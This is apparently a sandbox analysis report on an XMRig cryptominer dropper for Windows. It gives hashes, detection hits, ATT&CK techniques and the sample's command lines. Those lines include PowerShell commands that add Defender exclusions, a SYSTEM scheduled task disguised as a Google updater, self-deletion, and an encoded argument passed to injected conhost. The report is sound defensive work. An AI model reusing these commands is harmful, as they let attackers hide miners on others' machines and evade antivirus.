xmrig | 118a83cef7804742f9bc8f11c9deea34b84c35d65edca3036667edbd02dc7df8

max time kernel
1147s
max time network
1802s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
28-08-2023 15:19

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General

Target

qM5GMXBk6hJE6Y5e (19).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1728 created 1244	1728	qM5GMXBk6hJE6Y5e (19).exe	13
PID 1728 created 1244	1728	qM5GMXBk6hJE6Y5e (19).exe	13
PID 1728 created 1244	1728	qM5GMXBk6hJE6Y5e (19).exe	13
PID 1728 created 1244	1728	qM5GMXBk6hJE6Y5e (19).exe	13
PID 2884 created 1244	2884	updater.exe	13
PID 2884 created 1244	2884	updater.exe	13
PID 2884 created 1244	2884	updater.exe	13
PID 2884 created 1244	2884	updater.exe	13
PID 268 created 1244	268	conhost.exe	13
PID 2884 created 1244	2884	updater.exe	13

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 31 IoCs

miner

resource	yara_rule
behavioral9/memory/2052-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-137-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2052-139-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2660	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2884	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1352	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral9/memory/2052-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-137-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2052-139-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2884 set thread context of 268	2884	updater.exe	48
PID 2884 set thread context of 2052	2884	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (19).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2560	schtasks.exe
1524	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1976	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a077ff68d6e1d901	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1728	qM5GMXBk6hJE6Y5e (19).exe
1728	qM5GMXBk6hJE6Y5e (19).exe
1264	powershell.exe
1728	qM5GMXBk6hJE6Y5e (19).exe
1728	qM5GMXBk6hJE6Y5e (19).exe
3048	powershell.exe
1728	qM5GMXBk6hJE6Y5e (19).exe
1728	qM5GMXBk6hJE6Y5e (19).exe
1728	qM5GMXBk6hJE6Y5e (19).exe
1728	qM5GMXBk6hJE6Y5e (19).exe
2908	powershell.exe
2884	updater.exe
2884	updater.exe
2704	powershell.exe
2884	updater.exe
2884	updater.exe
1820	powershell.exe
2884	updater.exe
2884	updater.exe
2884	updater.exe
2884	updater.exe
268	conhost.exe
268	conhost.exe
2884	updater.exe
2884	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	1264	powershell.exe
Token: SeDebugPrivilege	3048	powershell.exe
Token: SeDebugPrivilege	2908	powershell.exe
Token: SeDebugPrivilege	2704	powershell.exe
Token: SeDebugPrivilege	1820	powershell.exe
Token: SeDebugPrivilege	2884	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1976	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1976	WMIC.exe
Token: SeSecurityPrivilege	1976	WMIC.exe
Token: SeTakeOwnershipPrivilege	1976	WMIC.exe
Token: SeLoadDriverPrivilege	1976	WMIC.exe
Token: SeSystemtimePrivilege	1976	WMIC.exe
Token: SeBackupPrivilege	1976	WMIC.exe
Token: SeRestorePrivilege	1976	WMIC.exe
Token: SeShutdownPrivilege	1976	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1976	WMIC.exe
Token: SeUndockPrivilege	1976	WMIC.exe
Token: SeManageVolumePrivilege	1976	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1976	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1976	WMIC.exe
Token: SeSecurityPrivilege	1976	WMIC.exe
Token: SeTakeOwnershipPrivilege	1976	WMIC.exe
Token: SeLoadDriverPrivilege	1976	WMIC.exe
Token: SeSystemtimePrivilege	1976	WMIC.exe
Token: SeBackupPrivilege	1976	WMIC.exe
Token: SeRestorePrivilege	1976	WMIC.exe
Token: SeShutdownPrivilege	1976	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1976	WMIC.exe
Token: SeUndockPrivilege	1976	WMIC.exe
Token: SeManageVolumePrivilege	1976	WMIC.exe
Token: SeLockMemoryPrivilege	2052	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3048 wrote to memory of 2560	3048	powershell.exe	32
PID 3048 wrote to memory of 2560	3048	powershell.exe	32
PID 3048 wrote to memory of 2560	3048	powershell.exe	32
PID 2660 wrote to memory of 2584	2660	cmd.exe	37
PID 2660 wrote to memory of 2584	2660	cmd.exe	37
PID 2660 wrote to memory of 2584	2660	cmd.exe	37
PID 2908 wrote to memory of 1676	2908	powershell.exe	38
PID 2908 wrote to memory of 1676	2908	powershell.exe	38
PID 2908 wrote to memory of 1676	2908	powershell.exe	38
PID 1352 wrote to memory of 2884	1352	taskeng.exe	40
PID 1352 wrote to memory of 2884	1352	taskeng.exe	40
PID 1352 wrote to memory of 2884	1352	taskeng.exe	40
PID 1820 wrote to memory of 1524	1820	powershell.exe	46
PID 1820 wrote to memory of 1524	1820	powershell.exe	46
PID 1820 wrote to memory of 1524	1820	powershell.exe	46
PID 2884 wrote to memory of 268	2884	updater.exe	48
PID 444 wrote to memory of 1976	444	cmd.exe	53
PID 444 wrote to memory of 1976	444	cmd.exe	53
PID 444 wrote to memory of 1976	444	cmd.exe	53
PID 2884 wrote to memory of 2052	2884	updater.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1244
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (19).exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (19).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3048
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2908
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1676
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (19).exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2660
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1820
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1524
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:268
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:444
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1976
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:456
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2052

C:\Windows\system32\taskeng.exe
taskeng.exe {A5EB21EC-62C7-4BD0-804E-E1971D969E7F} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1352
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
2bbf397b2acc683e27baed8ca2f359b6

SHA1
7b92f2561e5385c3103753a79d0d79149195900c

SHA256
0f42b4ea4d3637e074af60134c4816e831840b80d7b58ef46dfe0a2001174679

SHA512
17f73dbbd695ca0e65a60801b75adfcfb55bdf7b5c81f9f221175662fdeb43baba0f71cb95967ced45c4641138227e9bac9b1c66ab6d7447e67451ccb0f275eb

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
2bbf397b2acc683e27baed8ca2f359b6

SHA1
7b92f2561e5385c3103753a79d0d79149195900c

SHA256
0f42b4ea4d3637e074af60134c4816e831840b80d7b58ef46dfe0a2001174679

SHA512
17f73dbbd695ca0e65a60801b75adfcfb55bdf7b5c81f9f221175662fdeb43baba0f71cb95967ced45c4641138227e9bac9b1c66ab6d7447e67451ccb0f275eb

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Q7B0R02TXP4ROSNPHRET.temp

Filesize
7KB

MD5
2bbf397b2acc683e27baed8ca2f359b6

SHA1
7b92f2561e5385c3103753a79d0d79149195900c

SHA256
0f42b4ea4d3637e074af60134c4816e831840b80d7b58ef46dfe0a2001174679

SHA512
17f73dbbd695ca0e65a60801b75adfcfb55bdf7b5c81f9f221175662fdeb43baba0f71cb95967ced45c4641138227e9bac9b1c66ab6d7447e67451ccb0f275eb

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
memory/268-75-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/268-83-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1264-12-0x0000000001F30000-0x0000000001FB0000-memory.dmp

Filesize
512KB

Download
memory/1264-13-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/1264-8-0x0000000001F30000-0x0000000001FB0000-memory.dmp

Filesize
512KB

Download
memory/1264-6-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download
memory/1264-7-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/1264-11-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/1264-5-0x000000001B240000-0x000000001B522000-memory.dmp

Filesize
2.9MB

Download
memory/1264-10-0x0000000001F30000-0x0000000001FB0000-memory.dmp

Filesize
512KB

Download
memory/1264-9-0x0000000001F30000-0x0000000001FB0000-memory.dmp

Filesize
512KB

Download
memory/1728-0-0x000000013FC90000-0x000000013FEA1000-memory.dmp

Filesize
2.1MB

Download
memory/1728-29-0x000000013FC90000-0x000000013FEA1000-memory.dmp

Filesize
2.1MB

Download
memory/1820-57-0x0000000001140000-0x00000000011C0000-memory.dmp

Filesize
512KB

Download
memory/1820-55-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/1820-61-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/1820-60-0x0000000001140000-0x00000000011C0000-memory.dmp

Filesize
512KB

Download
memory/1820-59-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/1820-58-0x0000000001140000-0x00000000011C0000-memory.dmp

Filesize
512KB

Download
memory/1820-56-0x0000000001140000-0x00000000011C0000-memory.dmp

Filesize
512KB

Download
memory/2052-98-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-139-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-137-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-77-0x00000000007A0000-0x00000000007C0000-memory.dmp

Filesize
128KB

Download
memory/2052-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-78-0x00000000007C0000-0x00000000007E0000-memory.dmp

Filesize
128KB

Download
memory/2052-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-112-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-110-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-108-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-102-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-100-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-96-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-69-0x00000000000C0000-0x00000000000E0000-memory.dmp

Filesize
128KB

Download
memory/2052-92-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-71-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
